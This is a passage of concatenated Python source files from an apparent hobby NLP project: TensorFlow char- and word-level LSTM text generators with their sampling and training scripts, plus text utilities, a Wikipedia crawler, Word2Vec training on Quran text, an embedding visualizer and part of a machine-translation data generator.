'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, '': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True) saver = train_chars.tf.train.Saver() def pick_top_n(preds, vocab_size, top_n=5): p = np.squeeze(preds) p[np.argsort(p)[:-top_n]] = 0 p = p / np.sum(p) c = np.random.choice(vocab_size, 1, p=p)[0] return c def write_sample(checkpoint, lstm_size, vocab_size, char2int, int2char, prime="import"): # samples = [c for c in prime] with train_chars.tf.Session() as sess: saver.restore(sess, checkpoint) new_state = sess.run(model.initial_state) for c in prime: x = np.zeros((1, 1)) x[0,0] = char2int[c] feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) # print("Preds:", preds) c = pick_top_n(preds, vocab_size) char = int2char[c] keyboard.write(char) time.sleep(0.01) # samples.append(char) while True: x[0,0] = c feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, vocab_size) char = int2char[c] keyboard.write(char) time.sleep(0.01) # samples.append(char) # return ''.join(samples)ss", "as" if __name__ == "__main__": # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints") # print(checkpoint) checkpoint = "checkpoints/i6291_l256.ckpt" print() f = open("generates/python.txt", "a", encoding="utf8") int2char_target = { v:k for k, v in char2int_target.items() } import time time.sleep(2) write_sample(checkpoint, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime="#"*100) # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) import train_chars import numpy as np char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, '/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': 35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': 70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, '': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True) saver = train_chars.tf.train.Saver() def pick_top_n(preds, vocab_size, top_n=5): p = np.squeeze(preds) p[np.argsort(p)[:-top_n]] = 0 p = p / np.sum(p) c = np.random.choice(vocab_size, 1, p=p)[0] return c def sample(checkpoint, n_samples, lstm_size, vocab_size, char2int, int2char, prime="The"): samples = [c for c in prime] with train_chars.tf.Session() as sess: saver.restore(sess, checkpoint) new_state = sess.run(model.initial_state) for c in prime: x = np.zeros((1, 1)) x[0,0] = char2int[c] feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) # print("Preds:", preds) c = pick_top_n(preds, vocab_size) samples.append(int2char[c]) for i in range(n_samples): x[0,0] = c feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, vocab_size) char = int2char[c] samples.append(char) # if i == n_samples - 1 and char != " " and char != ".": # if i == n_samples - 1 and char != " ": # # while char != "." and char != " ": # while char != " ": # x[0,0] = c # feed = {model.inputs: x, # model.keep_prob: 1., # model.initial_state: new_state} # preds, new_state = sess.run([model.prediction, model.final_state], # feed_dict=feed) # c = pick_top_n(preds, vocab_size) # char = int2char[c] # samples.append(char) return ''.join(samples) if __name__ == "__main__": # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints") # print(checkpoint) checkpoint = "checkpoints/i6291_l256.ckpt" print() f = open("generates/python.txt", "a", encoding="utf8") int2char_target = { v:k for k, v in char2int_target.items() } for prime in ["#"*100]: samp = sample(checkpoint, 5000, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime=prime) print(samp, file=f) print(samp) print("="*50) print("="*50, file=f) import numpy as np import train_words def pick_top_n(preds, vocab_size, top_n=5): p = np.squeeze(preds) p[np.argsort(p)[:-top_n]] = 0 p = p / np.sum(p) c = np.random.choice(vocab_size, 1, p=p)[0] return c def sample(checkpoint, n_samples, lstm_size, vocab_size, prime=["The"]): samples = [c for c in prime] model = train_words.CharRNN(len(train_words.vocab), lstm_size=lstm_size, sampling=True) saver = train_words.tf.train.Saver() with train_words.tf.Session() as sess: saver.restore(sess, checkpoint) new_state = sess.run(model.initial_state) for c in prime: x = np.zeros((1, 1)) x[0,0] = train_words.vocab_to_int[c] feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, len(train_words.vocab)) samples.append(train_words.int_to_vocab[c]) for i in range(n_samples): x[0,0] = c feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, len(train_words.vocab)) char = train_words.int_to_vocab[c] samples.append(char) return ' '.join(samples) if __name__ == "__main__": # checkpoint = train_words.tf.train_words.latest_checkpoint("checkpoints") # print(checkpoint) checkpoint = f"{train_words.CHECKPOINT}/i8000_l128.ckpt" samp = sample(checkpoint, 400, train_words.lstm_size, len(train_words.vocab), prime=["the", "very"]) print(samp) import tensorflow as tf import numpy as np def get_batches(arr, batch_size, n_steps): '''Create a generator that returns batches of size batch_size x n_steps from arr. Arguments --------- arr: Array you want to make batches from batch_size: Batch size, the number of sequences per batch n_steps: Number of sequence steps per batch ''' chars_per_batch = batch_size * n_steps n_batches = len(arr) // chars_per_batch arr = arr[:chars_per_batch * n_batches] arr = arr.reshape((batch_size, -1)) for n in range(0, arr.shape[1], n_steps): x = arr[:, n: n+n_steps] y_temp = arr[:, n+1:n+n_steps+1] y = np.zeros(x.shape, dtype=y_temp.dtype) y[:, :y_temp.shape[1]] = y_temp yield x, y # batches = get_batches(encoded, 10, 50) # x, y = next(batches) def build_inputs(batch_size, num_steps): ''' Define placeholders for inputs, targets, and dropout Arguments --------- batch_size: Batch size, number of sequences per batch num_steps: Number of sequence steps in a batch ''' # Declare placeholders we'll feed into the graph inputs = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="inputs") targets = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="targets") # Keep probability placeholder for drop out layers keep_prob = tf.placeholder(tf.float32, name="keep_prob") return inputs, targets, keep_prob def build_lstm(lstm_size, num_layers, batch_size, keep_prob): ''' Build LSTM cell. Arguments --------- lstm_size: Size of the hidden layers in the LSTM cells num_layers: Number of LSTM layers batch_size: Batch size keep_prob: Scalar tensor (tf.placeholder) for the dropout keep probability ''' ### Build the LSTM Cell def build_cell(): # Use a basic LSTM cell lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size) # Add dropout to the cell outputs drop_lstm = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob) return drop_lstm # Stack up multiple LSTM layers, for deep learning # build num_layers layers of lstm_size LSTM Cells cell = tf.contrib.rnn.MultiRNNCell([build_cell() for _ in range(num_layers)]) initial_state = cell.zero_state(batch_size, tf.float32) return cell, initial_state def build_output(lstm_output, in_size, out_size): ''' Build a softmax layer, return the softmax output and logits. Arguments --------- lstm_output: List of output tensors from the LSTM layer in_size: Size of the input tensor, for example, size of the LSTM cells out_size: Size of this softmax layer ''' # Reshape output so it's a bunch of rows, one row for each step for each sequence. # Concatenate lstm_output over axis 1 (the columns) seq_output = tf.concat(lstm_output, axis=1) # Reshape seq_output to a 2D tensor with lstm_size columns x = tf.reshape(seq_output, (-1, in_size)) # Connect the RNN outputs to a softmax layer with tf.variable_scope('softmax'): # Create the weight and bias variables here softmax_w = tf.Variable(tf.truncated_normal((in_size, out_size), stddev=0.1)) softmax_b = tf.Variable(tf.zeros(out_size)) # Since output is a bunch of rows of RNN cell outputs, logits will be a bunch # of rows of logit outputs, one for each step and sequence logits = tf.matmul(x, softmax_w) + softmax_b # Use softmax to get the probabilities for predicted characters out = tf.nn.softmax(logits, name="predictions") return out, logits def build_loss(logits, targets, num_classes): ''' Calculate the loss from the logits and the targets. Arguments --------- logits: Logits from final fully connected layer targets: Targets for supervised learning num_classes: Number of classes in targets ''' # One-hot encode targets and reshape to match logits, one row per sequence per step y_one_hot = tf.one_hot(targets, num_classes) y_reshaped = tf.reshape(y_one_hot, logits.get_shape()) # Softmax cross entropy loss loss = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=y_reshaped) loss = tf.reduce_mean(loss) return loss def build_optimizer(loss, learning_rate, grad_clip): ''' Build optmizer for training, using gradient clipping. Arguments: loss: Network loss learning_rate: Learning rate for optimizer grad_clip: threshold for preventing gradient exploding ''' # Optimizer for training, using gradient clipping to control exploding gradients tvars = tf.trainable_variables() grads, _ = tf.clip_by_global_norm(tf.gradients(loss, tvars), grad_clip) train_op = tf.train.AdamOptimizer(learning_rate) optimizer = train_op.apply_gradients(zip(grads, tvars)) return optimizer class CharRNN: def __init__(self, num_classes, batch_size=64, num_steps=50, lstm_size=128, num_layers=2, learning_rate=0.001, grad_clip=5, sampling=False): # When we're using this network for sampling later, we'll be passing in # one character at a time, so providing an option for that if sampling: batch_size, num_steps = 1, 1 else: batch_size, num_steps = batch_size, num_steps tf.reset_default_graph() # Build the input placeholder tensors self.inputs, self.targets, self.keep_prob = build_inputs(batch_size, num_steps) # Build the LSTM cell # (lstm_size, num_layers, batch_size, keep_prob) cell, self.initial_state = build_lstm(lstm_size, num_layers, batch_size, self.keep_prob) ### Run the data through the RNN layers # First, one-hot encode the input tokens x_one_hot = tf.one_hot(self.inputs, num_classes) # Run each sequence step through the RNN with tf.nn.dynamic_rnn outputs, state = tf.nn.dynamic_rnn(cell, x_one_hot, initial_state=self.initial_state) self.final_state = state # Get softmax predictions and logits # (lstm_output, in_size, out_size) # There are lstm_size nodes in hidden layers, and the number # of the total characters as num_classes (i.e output layer) self.prediction, self.logits = build_output(outputs, lstm_size, num_classes) # Loss and optimizer (with gradient clipping) # (logits, targets, lstm_size, num_classes) self.loss = build_loss(self.logits, self.targets, num_classes) # (loss, learning_rate, grad_clip) self.optimizer = build_optimizer(self.loss, learning_rate, grad_clip) from time import perf_counter from collections import namedtuple from parameters import * from train import * from utils import get_time, get_text import tqdm import numpy as np import os import string import tensorflow as tf if __name__ == "__main__": CHECKPOINT = "checkpoints" if not os.path.isdir(CHECKPOINT): os.mkdir(CHECKPOINT) vocab, int2char, char2int, text = get_text(char_level=True, files=["E:\\datasets\\python_code_small.py", "E:\\datasets\\my_python_code.py"], load=False, lower=False, save_index=4) print(char2int) encoded = np.array([char2int[c] for c in text]) print("[*] Total characters :", len(text)) print("[*] Number of classes :", len(vocab)) model = CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps, lstm_size=lstm_size, num_layers=num_layers, learning_rate=learning_rate) saver = tf.train.Saver(max_to_keep=100) with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess: sess.run(tf.global_variables_initializer()) # Use the line below to load a checkpoint and resume training saver.restore(sess, f'{CHECKPOINT}/e13_l256.ckpt') total_steps = len(encoded) // batch_size // num_steps for e in range(14, epochs): # Train network cs = 0 new_state = sess.run(model.initial_state) min_loss = np.inf batches = tqdm.tqdm(get_batches(encoded, batch_size, num_steps), f"Epoch= {e+1}/{epochs} - {cs}/{total_steps}", total=total_steps) for x, y in batches: cs += 1 start = perf_counter() feed = {model.inputs: x, model.targets: y, model.keep_prob: keep_prob, model.initial_state: new_state} batch_loss, new_state, _ = sess.run([model.loss, model.final_state, model.optimizer], feed_dict=feed) batches.set_description(f"Epoch: {e+1}/{epochs} - {cs}/{total_steps} loss:{batch_loss:.2f}") saver.save(sess, f"{CHECKPOINT}/e{e}_l{lstm_size}.ckpt") print("Loss:", batch_loss) saver.save(sess, f"{CHECKPOINT}/i{cs}_l{lstm_size}.ckpt") from time import perf_counter from collections import namedtuple from colorama import Fore, init # local from parameters import * from train import * from utils import get_time, get_text init() GREEN = Fore.GREEN RESET = Fore.RESET import numpy as np import os import tensorflow as tf import string CHECKPOINT = "checkpoints_words" files = ["carroll-alice.txt", "text.txt", "text8.txt"] if not os.path.isdir(CHECKPOINT): os.mkdir(CHECKPOINT) vocab, int2word, word2int, text = get_text("data", files=files) encoded = np.array([word2int[w] for w in text]) del text if __name__ == "__main__": def calculate_time(): global time_took global start global total_time_took global times_took global avg_time_took global time_estimated global total_steps time_took = perf_counter() - start total_time_took += time_took times_took.append(time_took) avg_time_took = sum(times_took) / len(times_took) time_estimated = total_steps * avg_time_took - total_time_took model = CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps, lstm_size=lstm_size, num_layers=num_layers, learning_rate=learning_rate) saver = tf.train.Saver(max_to_keep=100) with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess: sess.run(tf.global_variables_initializer()) # Use the line below to load a checkpoint and resume training # saver.restore(sess, f'{CHECKPOINT}/i3524_l128_loss=1.36.ckpt') # calculate total steps total_steps = epochs * len(encoded) / (batch_size * num_steps) time_estimated = "N/A" times_took = [] total_time_took = 0 current_steps = 0 progress_percentage = 0 for e in range(epochs): # Train network new_state = sess.run(model.initial_state) min_loss = np.inf for x, y in get_batches(encoded, batch_size, num_steps): current_steps += 1 start = perf_counter() feed = {model.inputs: x, model.targets: y, model.keep_prob: keep_prob, model.initial_state: new_state} batch_loss, new_state, _ = sess.run([model.loss, model.final_state, model.optimizer], feed_dict=feed) progress_percentage = current_steps * 100 / total_steps if batch_loss < min_loss: # saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}_loss={batch_loss:.2f}.ckpt") min_loss = batch_loss calculate_time() print(f'{GREEN}[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}{RESET}') continue if (current_steps % print_every_n == 0): calculate_time() print(f'[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}', end='\r') if (current_steps % save_every_n == 0): saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt") saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt") import tqdm import os import inflect import glob import pickle import sys from string import punctuation, whitespace p = inflect.engine() UNK = "<unk>" char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, '/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': 35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': 70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, '': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} def get_time(seconds, form="{hours:02}:{minutes:02}:{seconds:02}"): try: seconds = int(seconds) except: return seconds minutes, seconds = divmod(seconds, 60) hours, minutes = divmod(minutes, 60) days, hours = divmod(hours, 24) months, days = divmod(days, 30) years, months = divmod(months, 12) if days: form = "{days}d " + form if months: form = "{months}m " + form elif years: form = "{years}y " + form return form.format(**locals()) def get_text(path="data", files=["carroll-alice.txt", "text.txt", "text8.txt"], load=True, char_level=False, lower=True, save=True, save_index=1): if load: # check if any pre-cleaned saved data exists first pickle_files = glob.glob(os.path.join(path, "text_data*.pickle")) if len(pickle_files) == 1: return pickle.load(open(pickle_files[0], "rb")) elif len(pickle_files) > 1: sizes = [ get_size(os.path.getsize(p)) for p in pickle_files ] s = "" for i, (file, size) in enumerate(zip(pickle_files, sizes), start=1): s += str(i) + " - " + os.path.basename(file) + f" ({size}) \n" choice = int(input(f"""Multiple data corpus found: {s} 99 - use and clean .txt files Please choose one: """)) if choice != 99: chosen_file = pickle_files[choice-1] print("[*] Loading pickled data...") return pickle.load(open(chosen_file, "rb")) text = "" for file in tqdm.tqdm(files, "Loading data"): file = os.path.join(path, file) with open(file) as f: if lower: text += f.read().lower() else: text += f.read() print(len(text)) punc = set(punctuation) # text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ]) text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c in char2int_target ]) # for ws in whitespace: # text = text.replace(ws, " ") if char_level: text = list(text) else: text = text.split() # new_text = [] new_text = text # append = new_text.append # co = 0 # if char_level: # k = 0 # for i in tqdm.tqdm(range(len(text)), "Normalizing words"): # if not text[i].isdigit(): # append(text[i]) # k = 0 # else: # # if this digit is mapped to a word already using # # the below method, then just continue # if k >= 1: # k -= 1 # continue # # if there are more digits following this character # # k = 0 # digits = "" # while text[i+k].isdigit(): # digits += text[i+k] # k += 1 # w = p.number_to_words(digits).replace("-", " ").replace(",", "") # for c in w: # append(c) # co += 1 # else: # for i in tqdm.tqdm(range(len(text)), "Normalizing words"): # # convert digits to words # # (i.e '7' to 'seven') # if text[i].isdigit(): # text[i] = p.number_to_words(text[i]).replace("-", " ") # append(text[i]) # co += 1 # else: # append(text[i]) vocab = sorted(set(new_text)) print(f"alices in vocab:", "alices" in vocab) # print(f"Converted {co} digits to words.") print(f"Total vocabulary size:", len(vocab)) int2word = { i:w for i, w in enumerate(vocab) } word2int = { w:i for i, w in enumerate(vocab) } if save: pickle_filename = os.path.join(path, f"text_data_{save_index}.pickle") print("Pickling data for future use to", pickle_filename) pickle.dump((vocab, int2word, word2int, new_text), open(pickle_filename, "wb")) return vocab, int2word, word2int, new_text def get_size(size, suffix="B"): factor = 1024 for unit in ['', 'K', 'M', 'G', 'T', 'P']: if size < factor: return "{:.2f}{}{}".format(size, unit, suffix) size /= factor return "{:.2f}{}{}".format(size, "E", suffix) import wikipedia from threading import Thread def gather(page_name): print(f"Crawling {page_name}") page = wikipedia.page(page_name) filename = page_name.replace(" ", "_") print(page.content, file=open(f"data/{filename}.txt", 'w', encoding="utf-8")) print(f"Done crawling {page_name}") for i in range(5): Thread(target=gather, args=(page.links[i],)).start() if __name__ == "__main__": pages = ["Relativity"] for page in pages: gather(page) # from keras.preprocessing.text import Tokenizer from utils import chunk_seq from collections import Counter from nltk.corpus import stopwords from keras.preprocessing.sequence import pad_sequences import numpy as np import gensim sequence_length = 200 embedding_dim = 200 # window_size = 7 # vector_dim = 300 # epochs = 1000 # valid_size = 16 # Random set of words to evaluate similarity on. # valid_window = 100 # Only pick dev samples in the head of the distribution. # valid_examples = np.random.choice(valid_window, valid_size, replace=False) with open("data/quran_cleaned.txt", encoding="utf8") as f: text = f.read() # print(text[:500]) ayat = text.split(".") words = [] for ayah in ayat: words.append(ayah.split()) # print(words[:5]) # stop words stop_words = stopwords.words("arabic") # most common come at the top # vocab = [ w[0] for w in Counter(words).most_common() if w[0] not in stop_words] # words = [ word for word in words if word not in stop_words] new_words = [] for ayah in words: new_words.append([ w for w in ayah if w not in stop_words]) # print(len(vocab)) # n = len(words) / sequence_length # # split text to n sequences # print(words[:10]) # words = chunk_seq(words, len(ayat)) vocab = [] for ayah in new_words: for w in ayah: vocab.append(w) vocab = sorted(set(vocab)) vocab2int = {w: i for i, w in enumerate(vocab, start=1)} int2vocab = {i: w for i, w in enumerate(vocab, start=1)} encoded_words = [] for ayah in new_words: encoded_words.append([ vocab2int[w] for w in ayah ]) encoded_words = pad_sequences(encoded_words) # print(encoded_words[10]) words = [] for seq in encoded_words: words.append([ int2vocab[w] if w != 0 else "_unk_" for w in seq ]) # print(words[:5]) # # define model print("Training Word2Vec Model...") model = gensim.models.Word2Vec(sentences=words, size=embedding_dim, workers=7, min_count=1, window=6) path_to_save = r"E:\datasets\word2vec_quran.txt" print("Saving model...") model.wv.save_word2vec_format(path_to_save, binary=False) # print(dir(model)) from keras.layers import Embedding, LSTM, Dense, Activation, BatchNormalization from keras.layers import Flatten from keras.models import Sequential from preprocess import words, vocab, sequence_length, sequences, vector_dim from preprocess import window_size model = Sequential() model.add(Embedding(len(vocab), vector_dim, input_length=sequence_length)) model.add(Flatten()) model.add(Dense(1)) model.compile("adam", "binary_crossentropy") model.fit() def chunk_seq(seq, num): avg = len(seq) / float(num) out = [] last = 0.0 while last < len(seq): out.append(seq[int(last):int(last + avg)]) last += avg return out def encode_words(words, vocab2int): # encoded = [ vocab2int[word] for word in words ] encoded = [] append = encoded.append for word in words: c = vocab2int.get(word) if c: append(c) return encoded def remove_stop_words(vocab): # remove stop words vocab.remove("the") vocab.remove("of") vocab.remove("and") vocab.remove("in") vocab.remove("a") vocab.remove("to") vocab.remove("is") vocab.remove("as") vocab.remove("for") # encoding: utf-8 """ author: BrikerMan contact: eliyar917gmail.com blog: https://eliyar.biz version: 1.0 license: Apache Licence file: w2v_visualizer.py time: 2017/7/30 9:37 """ import sys import os import pathlib import numpy as np from gensim.models.keyedvectors import KeyedVectors import tensorflow as tf from tensorflow.contrib.tensorboard.plugins import projector def visualize(model, output_path): meta_file = "w2x_metadata.tsv" placeholder = np.zeros((len(model.wv.index2word), model.vector_size)) with open(os.path.join(output_path, meta_file), 'wb') as file_metadata: for i, word in enumerate(model.wv.index2word): placeholder[i] = model[word] # temporary solution for https://github.com/tensorflow/tensorflow/issues/9094 if word == '': print("Emply Line, should replecaed by any thing else, or will cause a bug of tensorboard") file_metadata.write("{0}".format('<Empty Line>').encode('utf-8') + b'\n') else: file_metadata.write("{0}".format(word).encode('utf-8') + b'\n') # define the model without training sess = tf.InteractiveSession() embedding = tf.Variable(placeholder, trainable=False, name='w2x_metadata') tf.global_variables_initializer().run() saver = tf.train.Saver() writer = tf.summary.FileWriter(output_path, sess.graph) # adding into projector config = projector.ProjectorConfig() embed = config.embeddings.add() embed.tensor_name = 'w2x_metadata' embed.metadata_path = meta_file # Specify the width and height of a single thumbnail. projector.visualize_embeddings(writer, config) saver.save(sess, os.path.join(output_path, 'w2x_metadata.ckpt')) print('Run tensorboard --logdir={0} to run visualize result on tensorboard'.format(output_path)) if __name__ == "__main__": """ Use model.save_word2vec_format to save w2v_model as word2evc format Then just run python w2v_visualizer.py word2vec.text visualize_result """ try: model_path = sys.argv[1] output_path = sys.argv[2] except: print("Please provice model path and output path") model = KeyedVectors.load_word2vec_format(model_path) pathlib.Path(output_path).mkdir(parents=True, exist_ok=True) visualize(model, output_path) from keras.preprocessing.text import Tokenizer from keras.preprocessing.sequence import pad_sequences from keras.utils import to_categorical import numpy as np import pickle import tqdm class NMTGenerator: """A class utility for generating Neural-Machine-Translation large datasets""" def __init__(self, source_file, target_file, num_encoder_tokens=None, num_decoder_tokens=None, source_sequence_length=None, target_sequence_length=None, x_tk=None, y_tk=None, batch_size=256, validation_split=0.15, load_tokenizers=False, dump_tokenizers=True, same_tokenizer=False, char_level=False, verbose=0): self.source_file = source_file self.target_file = target_file self.same_tokenizer = same_tokenizer self.char_level = char_level if not load_tokenizers: # x ( source ) tokenizer self.x_tk = x_tk if x_tk else Tokenizer(char_level=self.char_level) # y ( target ) tokenizer self.y_tk = y_tk if y_tk else Tokenizer(char_level=self.char_level) else: self.x_tk = pickle.load(open("results/x_tk.pickle", "rb")) self.y_tk = pickle.load(open("results/y_tk.pickle", "rb")) # remove '?' and '.' from filters # which means include them in vocabulary # add "'" to filters self.x_tk.filters = self.x_tk.filters.replace("?", "").replace("_", "") + "'" self.y_tk.filters = self.y_tk.filters.replace("?", "").replace("_", "") + "'" if char_level: self.x_tk.filters = self.x_tk.filters.replace(".", "").replace(",", "") self.y_tk.filters = self.y_tk.filters.replace(".", "").replace(",", "") if same_tokenizer: self.y_tk = self.x_tk # max sequence length of source language self.source_sequence_length = source_sequence_length # max sequence length of target language self.target_sequence_length = target_sequence_length # vocab size of encoder self.num_encoder_tokens = num_encoder_tokens # vocab size of decoder self.num_decoder_tokens = num_decoder_tokens # the batch size self.batch_size = batch_size # the ratio which the dataset will be partitioned self.validation_split = validation_split # whether to dump x_tk and y_tk when finished tokenizing self.dump_tokenizers = dump_tokenizers # cap to remove _unk_ samples self.n_unk_to_remove = 2 self.verbose = verbose def load_dataset(self): """Loads the dataset: 1. load the data from files 2. tokenize and calculate sequence lengths and num_tokens 3. post pad the sequences""" self.load_data() if self.verbose: print("[+] Data loaded") self.tokenize() if self.verbose: print("[+] Text tokenized") self.pad_sequences() if self.verbose: print("[+] Sequences padded") self.split_data() if self.verbose: print("[+] Data splitted") def load_data(self): """Loads data from files""" self.X = load_data(self.source_file) self.y = load_data(self.target_file) # remove much unks on a single sample X, y = [], [] co = 0 for question, answer in zip(self.X, self.y): if question.count("_unk_") >= self.n_unk_to_remove or answer.count("_unk_") >= self.n_unk_to_remove: co += 1 else: X.append(question) y.append(answer) self.X = X self.y = y if self.verbose >= 1: print("[*] Number of samples:", len(self.X)) if self.verbose >= 2: print("[!] Number of samples deleted:", co) def tokenize(self): """Tokenizes sentences/strings as well as calculating input/output sequence lengths and input/output vocab sizes""" 